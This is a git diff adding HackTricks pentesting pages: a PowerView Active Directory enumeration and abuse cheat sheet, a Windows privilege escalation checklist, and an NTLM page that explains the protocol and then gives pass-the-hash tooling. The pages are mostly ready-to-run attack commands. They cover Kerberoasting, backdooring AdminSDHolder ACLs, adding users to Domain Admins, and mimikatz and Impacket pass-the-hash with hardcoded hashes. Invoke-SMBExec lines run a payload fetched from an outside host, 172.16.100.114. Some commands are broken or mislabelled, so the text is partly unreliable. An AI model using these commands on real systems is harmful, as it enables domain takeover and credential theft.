+Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
+Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
+Get-NetUser -PreauthNotRequired #ASREPRoastable users
+Get-NetUser -SPN #Kerberoastable users
+#Groups info
+Get-NetGroup | select samaccountname, admincount, description
+Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
+#Computers
+Get-NetComputer | select samaccountname, operatingsystem
+Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren't useful for privesc
+Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
+Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
+#Shares
+Find-DomainShare -CheckShareAccess #Search readable shares
+#Domain trusts
+Get-NetDomainTrust #Get all domain trusts (parent, children and external)
+Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
+#LHF
+#Check if any user passwords are set
+$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
+#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
+Find-LocalAdminAccess
+#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
+Invoke-UserHunter -CheckAccess
+#Find interesting ACLs
+Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
+```
+
+### Domain info
+
+```bash
+# Domain Info
+Get-NetDomain #Get info about the current domain
+Get-NetDomain -Domain mydomain.local
+Get-DomainSID #Get domain SID
+
+## Policy
+Get-DomainPolicy #Get info about the policy
+(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
+(Get-DomainPolicy)."SystemAccess" #Password policy
+(Get-DomainPolicy).PrivilegeRights #Check your privileges
+
+## Domain Controller
+Get-NetDomainController -Domain mydomain.local #Get Domain Controller
+```
+
+### Users, Groups and Computers
+
+```bash
+# Users
+Get-NetUser #Get users with several (not all) properties
+Get-NetUser | select -ExpandProperty samaccountname #List all usernames
+Get-NetUser -UserName student107 #Get info about a user
+Get-NetUser -properties name, description #Get all descriptions
+Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount
+Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
+
+## Users Filters
+Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
+Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
+Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
+Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
+Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
+Get-NetUser -PreauthNotRequired #ASREPRoastable users
+Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
+Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
+Get-Netuser -TrustedToAuth #Useful for Kerberos constrain delegation
+Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
+# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
+Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
+    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
+}
+
+#Groups
+Get-NetGroup #Get groups
+Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
+Get-NetGroup 'Domain Admins' #Get all data of a group
+Get-NetGroup -AdminCount #Search admin grups
+Get-NetGroup -UserName "myusername" #Get groups of a user
+Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
+Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
+Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
+Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
+Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
+Get-NetGPOGroup #Get restricted groups
+
+# Computers
+Get-NetComputer #Get all computer objects
+Get-NetComputer -Ping #Send a ping to check if the computers are working
+Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
+Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
+Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
+```
+
+### Logon and Sessions
+
+```bash
+Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
+Get-NetSession -ComputerName <servername> #Get active sessions on the host
+Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
+Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
+Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
+```
+
+### Shared files and folders
+
+```bash
+Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
+Find-DomainShare -CheckShareAccess #Search readable shares
+Find-InterestingDomainShareFile #Find interesting files, can use filters
+```
+
+### GPOs & OUs
+
+```bash
+#GPO
+Get-NetGPO #Get all policies with details
+Get-NetGPO | select displayname #Get the names of the policies
+Get-NetGPO -ComputerName <servername> #Get the policy applied in a computer
+gpresult /V #Get current policy
+# Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights
+Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
+Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' #Get GPO of an OU
+
+#OU
+Get-NetOU #Get Organization Units
+Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
+```
+
+### ACL
+
+```bash
+Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs #Get ACLs of an object (permissions of other objects over the indicated one)
+Get-PathAcl -Path "\\dc.mydomain.local\sysvol" #Get permissions of a file
+Find-InterestingDomainAcl -ResolveGUIDs #Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
+Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} #Check if any of the interesting permissions founds is realated to a username/group
+Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights #Get special rights over All administrators in domain
+```
+
+### Domain Trust
+
+```bash
+Get-NetDomainTrust #Get all domain trusts (parent, children and external)
+Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
+Get-DomainTrustMapping #Enumerate also all the trusts
+
+Get-ForestGlobalCatalog #Get info of current forest (no external)
+Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
+Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" 
+
+Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
+
+Get-DomainForeingUser #Get users with privileges in other domains inside the forest
+Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
+```
+
+###  L**ow**-**hanging fruit**
+
+```bash
+#Check if any user passwords are set
+$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
+#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
+Find-LocalAdminAccess
+#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
+.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
+#Enumerate machines where a particular user/group identity has local admin rights
+Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
+#Goes through the list of all computers (from DC) and executes Get-NetLocalGroup to search local admins (you need root privileges on non-dc hosts).
+Invoke-EnumerateLocalAdmin
+#Search unconstrained delegation computers and show users
+Find-DomainUserLocation -ComputerUnconstrained -ShowAll
+#Admin users that allow delegation, logged into servers that allow unconstrained delegation
+Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
+#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
+Invoke-UserHunter [-CheckAccess]
+#Search "RDPUsers" users
+Invoke-UserHunter -GroupName "RDPUsers"
+#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
+Invoke-UserHunter -Stealth
+```
+
+### Deleted objects
+
+```bash
+#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
+#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
+Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
+```
+
+### MISC
+
+#### SID to Name
+
+```bash
+"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
+```
+
+#### Kerberoast
+
+```bash
+Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
+```
+
+#### Use different credentials \(argument\)
+
+```bash
+# use an alterate creadential for any function
+$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainUser -Credential $Cred
+```
+
+#### Impersonate a user
+
+```bash
+# if running in -sta mode, impersonate another credential a la "runas /netonly"
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Invoke-UserImpersonation -Credential $Cred
+# ... action
+Invoke-RevertToSelf
+```
+
+#### Set values
+
+```bash
+# set the specified property for the given user identity
+Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
+# Set the owner of 'dfm' in the current domain to 'harmj0y'
+Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
+# ackdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
+Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
+# Add user to 'Domain Admins'
+Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
+```
+
+
+
diff --git a/windows/checklist-windows-privilege-escalation.md b/windows/checklist-windows-privilege-escalation.md
new file mode 100644
index 00000000000..c278353ab29
--- /dev/null
+++ b/windows/checklist-windows-privilege-escalation.md
@@ -0,0 +1,132 @@
+# Checklist - Local Windows Privilege Escalation
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)\*\*\*\*
+
+### [System Info](windows-local-privilege-escalation/#system-info)
+
+* [ ] Obtain [**System information**](windows-local-privilege-escalation/#system-info)\*\*\*\*
+* [ ] Search for **kernel** [**exploits using scripts**](windows-local-privilege-escalation/#version-exploits)\*\*\*\*
+* [ ] Use **Google to search** for kernel **exploits**
+* [ ] Use **searchsploit to search** for kernel **exploits**
+* [ ] Interesting info in [**env vars**](windows-local-privilege-escalation/#environment)?
+* [ ] Passwords in [**PowerShell history**](windows-local-privilege-escalation/#powershell-history)?
+* [ ] Interesting info in [**Internet settings**](windows-local-privilege-escalation/#internet-settings)?
+* [ ] [**Drives**](windows-local-privilege-escalation/#drives)?
+* [ ] \*\*\*\*[**WSUS exploit**](windows-local-privilege-escalation/#wsus)?
+* [ ] \*\*\*\*[**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
+
+### [Logging/AV enumeration](windows-local-privilege-escalation/#enumeration)
+
+* [ ] Check [**Audit** ](windows-local-privilege-escalation/#audit-settings)and [**WEF** ](windows-local-privilege-escalation/#wef)settings
+* [ ] Check [**LAPS**](windows-local-privilege-escalation/#laps)\*\*\*\*
+* [ ] Check if [**WDigest** ](windows-local-privilege-escalation/#wdigest)is active
+* [ ] [**LSA Protection**](windows-local-privilege-escalation/#lsa-protection)?
+* [ ] \*\*\*\*[**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
+* [ ] [**Cached Credentials**](windows-local-privilege-escalation/#cached-credentials)?
+* [ ] Check if any [**AV**](windows-local-privilege-escalation/#av)\*\*\*\*
+* [ ] \*\*\*\*[**AppLocker Policy**](windows-local-privilege-escalation/#applocker-policy)?
+* [ ] [**UAC**](windows-local-privilege-escalation/#uac)?
+
+### \*\*\*\*[**User Privileges**](windows-local-privilege-escalation/#users-and-groups)
+
+* [ ] Check [**current** user **privileges**](windows-local-privilege-escalation/#users-and-groups)\*\*\*\*
+* [ ] Are you [**member of any privileged group**](windows-local-privilege-escalation/#privileged-groups)?
+* [ ] Check if you have [any of these tokens enabled](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? 
+* [ ] [**Users Sessions**](windows-local-privilege-escalation/#logged-users-sessions)?
+* [ ] Check[ **users homes**](windows-local-privilege-escalation/#home-folders) \(access?\)
+* [ ] Check [**Password Policy**](windows-local-privilege-escalation/#password-policy)\*\*\*\*
+* [ ] What is[ **inside the Clipboard**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
+
+### [Network](windows-local-privilege-escalation/#network)
+
+* [ ] Check **current** [**network** **information**](windows-local-privilege-escalation/#network)\*\*\*\*
+* [ ] Check **hidden local services** restricted to the outside
+
+### [Running Processes](windows-local-privilege-escalation/#running-processes)
+
+* [ ] Processes binaries [**file and folders permissions**](windows-local-privilege-escalation/#file-and-folder-permissions)\*\*\*\*
+* [ ] \*\*\*\*[**Memory Password mining**](windows-local-privilege-escalation/#memory-password-mining)\*\*\*\*
+* [ ] \*\*\*\*[**Insecure GUI apps**](windows-local-privilege-escalation/#insecure-gui-apps)\*\*\*\*
+
+### [Services](windows-local-privilege-escalation/#services)
+
+* [ ] [Can you **modify any service**?](windows-local-privilege-escalation/#permissions)
+* [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/#modify-service-binary-path)
+* [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/#services-registry-permissions)
+* [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/#unquoted-service-paths)
+
+### \*\*\*\*[**Applications**](windows-local-privilege-escalation/#applications)\*\*\*\*
+
+* [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/#write-permissions)\*\*\*\*
+* [ ] \*\*\*\*[**Startup Applications**](windows-local-privilege-escalation/#run-at-startup)\*\*\*\*
+* [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/#drivers)\*\*\*\*
+
+### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
+
+* [ ] Can you **write in any folder inside PATH**?
+* [ ] Is there any known service binary that **tries to load any non-existant DLL**?
+* [ ] Can you **write** in any **binaries folder**?
+
+### [Network](windows-local-privilege-escalation/#network)
+
+* [ ] Enumerate the network\(shares, interfaces, routes, neighbours...\)
+* [ ] Take a special look to network services listing on local \(127.0.0.1\)
+
+### [Windows Credentials](windows-local-privilege-escalation/#windows-credentials)
+
+* [ ] \*\*\*\*[**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)credentials
+* [ ] [**Windows Vault**](windows-local-privilege-escalation/#windows-vault) credentials that you could use?
+* [ ] Interesting [**DPAPI credentials**](windows-local-privilege-escalation/#dpapi)?
+* [ ] Passwords of saved [**Wifi networks**](windows-local-privilege-escalation/#wifi)?
+* [ ] Interesting info in ****[**saved RDP Connections**](windows-local-privilege-escalation/#saved-rdp-connections)?
+* [ ] Passwords in [**recently run commands**](windows-local-privilege-escalation/#recently-run-commands)?
+* [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/#remote-desktop-credential-manager) passwords?
+* [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/#appcmd-exe)? Credentials?
+* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Side Loading?
+
+### [Files and Registry \(Credentials\)](windows-local-privilege-escalation/#files-and-registry-credentials)
+
+* [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/#putty-ssh-host-keys)\*\*\*\*
+* [ ] \*\*\*\*[**SSH keys in registry**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
+* [ ] Passwords in [**unattended files**](windows-local-privilege-escalation/#unattended-files)?
+* [ ] Any [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) backup?
+* [ ] [**Cloud credentials**](windows-local-privilege-escalation/#cloud-credentials)?
+* [ ] \*\*\*\*[**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist-xml) file?
+* [ ] \*\*\*\*[**Cached GPP Password**](windows-local-privilege-escalation/#cached-gpp-pasword)?
+* [ ] Password in [**IIS Web config file**](windows-local-privilege-escalation/#iis-web-config)?
+* [ ] Interesting info in [**web** **logs**](windows-local-privilege-escalation/#logs)?
+* [ ] Do you want to [**ask for credentials**](windows-local-privilege-escalation/#ask-for-credentials) to the user?
+* [ ] Interesting [**files inside the Recycle Bin**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
+* [ ] Other [**registry containing credentials**](windows-local-privilege-escalation/#inside-the-registry)?
+* [ ] Inside [**Browser data**](windows-local-privilege-escalation/#browsers-history) \(dbs, history, bookmarks....\)?
+* [ ] \*\*\*\*[**Generic password search**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) in files and registry
+* [ ] \*\*\*\*[**Tools**](windows-local-privilege-escalation/#tools-that-search-for-passwords) to automatically search for passwords
+
+### [Leaked Handlers](windows-local-privilege-escalation/#leaked-handlers)
+
+* [ ] Have you access to any handler of a process run by administrator?
+
+### [Pipe Client Impersonation](windows-local-privilege-escalation/#named-pipe-client-impersonation)
+
+* [ ] Check if you can abuse it
+
+### And more...
+
+
+
+If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, ****join the [💬](https://emojipedia.org/speech-balloon/) ****[**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.  
+Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
+
+![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%284%29%20%284%29.png)
+
+​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
+
diff --git a/windows/ntlm/README.md b/windows/ntlm/README.md
new file mode 100644
index 00000000000..5f4a10efa3c
--- /dev/null
+++ b/windows/ntlm/README.md
@@ -0,0 +1,192 @@
+# NTLM
+
+## Basic Information
+
+**NTLM Credentials**: Domain name \(if any\), username and password hash.
+
+**LM** is only **enabled** in **Windows XP and server 2003** \(LM hashes can be cracked\). The LM hash AAD3B435B51404EEAAD3B435B51404EE means that LM is not being used \(is the LM hash of empty string\).
+
+By default **Kerberos** is **used**, so NTLM will only be used if **there isn't any Active Directory configured,** the **Domain doesn't exist**, **Kerberos isn't working** \(bad configuration\) or the **client** that tries to connect using the IP instead of a valid host-name.
+
+The **network packets** of a **NTLM authentication** have the **header** "**NTLMSSP**".
+
+The protocols: LM, NTLMv1 and NTLMv2 are supported in the DLL %windir%\Windows\System32\msv1\_0.dll
+
+## LM, NTLMv1 and NTLMv2
+
+You can check and configure which protocol will be used:
+
+### GUI
+
+Execute _secpol.msc_ -&gt; Local policies -&gt; Security Options -&gt; Network Security: LAN Manager authentication level. There are 6 levels \(from 0 to 5\).
+
+![](../../.gitbook/assets/image%20%2875%29.png)
+
+### Registry
+
+This will set the level 5:
+
+```text
+reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f
+```
+
+Possible values:
+
+```text
+0 - Send LM & NTLM responses
+1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
+2 - Send NTLM response only
+3 - Send NTLMv2 response only
+4 - Send NTLMv2 response only, refuse LM
+5 - Send NTLMv2 response only, refuse LM & NTLM
+```
+
+## Basic NTLM Domain authentication Scheme
+
+1. The **user** introduces his **credentials**
+2. The client machine **sends an authentication request** sending the **domain name** and the **username**
+3. The **server** sends the **challenge**
+4. The **client encrypts** the **challenge** using the hash of the password as key and sends it as response
+5. The **server sends** to the **Domain controller** the **domain name, the username, the challenge and the response**. If there **isn't** an Active Directory configured or the domain name is the name of the server, the credentials are **checked locally**.
+6. The **domain controller checks if everything is correct** and sends the information to the server
+
+The **server** and the **Domain Controller** are able to create a **Secure Channel** via **Netlogon** server as the Domain Controller know the password of the server \(it is inside the **NTDS.DIT** db\).
+
+### Local NTLM authentication Scheme
+
+The authentication is as the one mentioned **before but** the **server** knows the **hash of the user** that tries to authenticate inside the **SAM** file. So, instead of asking the Domain Controller, the **server will check itself** if the user can authenticate.
+
+### NTLMv1 Challenge
+
+The **challenge length is 8 bytes** and the **response is 24 bytes** long.
+
+The **hash NT \(16bytes\)** is divided in **3 parts of 7bytes each** \(7B + 7B + \(2B+0x00\*5\)\): the **last part is filled with zeros**. Then, the **challenge** is **ciphered separately** with each part and the **resulting** ciphered bytes are **joined**. Total: 8B + 8B + 8B = 24Bytes.
+
+**Problems**:
+
+* Lack of **randomness**
+* The 3 parts can be **attacked separately** to find the NT hash
+* **DES is crackable**
+* The 3º key is composed always by **5 zeros**.
+* Given the **same challenge** the **response** will be **same**. So, you can give as a **challenge** to the victim the string "**1122334455667788**" and attack the response used **precomputed rainbow tables**.
+
+### NTLMv1 attack
+
+Nowadays is becoming less common to find environments with Unconstrained Delegation configured, but this doesn't mean you can't **abuse a Print Spooler service** configured.
+
+You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.  
+If you are using `responder` you could try to **use the flag `--lm`** to try to **downgrade** the **authentication**.  
+_Note that for this technique the authentication must be performed using NTLMv1 \(NTLMv2 is not valid\)._
+
+Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** \([more info here](./#ntlmv1-challenge)\), so using some services specially dedicated to cracking DES you will be able to crack it \(you could use [https://crack.sh/](https://crack.sh/) for example\).
+
+### NTLMv2 Challenge
+
+The **challenge length is 8 bytes** and **2 responses are sent**: One is **24 bytes** long and the length of the **other** is **variable**.
+
+**The first response** is created by ciphering using **HMAC\_MD5** the **string** composed by the **client and the domain** and using as **key** the **hash MD4** of the **NT hash**. Then, the **result** will by used as **key** to cipher using **HMAC\_MD5** the **challenge**. To this, **a client challenge of 8 bytes will be added**. Total: 24 B.
+
+The **second response** is created using **several values** \(a new client challenge, a **timestamp** to avoid **replay attacks**...\)
+
+If you have a **pcap that has captured a successful authentication process**, you can follow this guide to get the domain, username , challenge and response and try to creak the password: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://research.801labs.org/cracking-an-ntlmv2-hash/)
+
+## Pass-the-Hash
+
+**Once you have the hash of the victim**, you can use it to **impersonate** it.  
+You need to use a **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.
+
+**Please, remember that you can perform Pass-the-Hash attacks also using Computer accounts.**
+
+### **Mimikatz**
+
+**Needs to be run as administrator**
+
+```bash
+Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' 
+```
+
+This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user \(similar to the `runas /netonly` trick but you don't need to know the plain-text password\).
+
+### Pass-the-Hash from linux
+
+You can obtain code execution in Windows machines using Pass-the-Hash from Linux.   
+[**Access here to learn how to do it.**](../../pentesting/pentesting-smb.md#execute)\*\*\*\*
+
+### Impacket Windows compiled tools
+
+You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
+
+* **psexec\_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
+* **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
+* **atexec.exe** \(In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell\)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
+* There are several more Impacket binaries...
+
+### Invoke-TheHash
+
+You can get the powershell scripts from here: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)
+
+#### Invoke-SMBExec
+
+```text
+Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
+```
+
+#### Invoke-WMIExec
+
+```text
+Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose
+```
+
+#### Invoke-SMBClient
+
+```text
+Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose
+```
+
+#### Invoke-SMBEnum
+
+```text
+Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose
+```
+
+#### Invoke-TheHash
+
+This function is a **mix of all the others**. You can pass **several hosts**, **exclude** someones and **select** the **option** you want to use \(_SMBExec, WMIExec, SMBClient, SMBEnum_\). If you select **any** of **SMBExec** and **WMIExec** but you **don't** give any _**Command**_ parameter it will just **check** if you have **enough permissions**.
+
+```text
+Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0
+```
+
+### [Evil-WinRM Pass the Hash](../../pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm)
+
+### Windows Credentials Editor \(WCE\)
+
+**Needs to be run as administrator**
+
+This tool will do the same thing as mimikatz \(modify LSASS memory\).
+
+```text
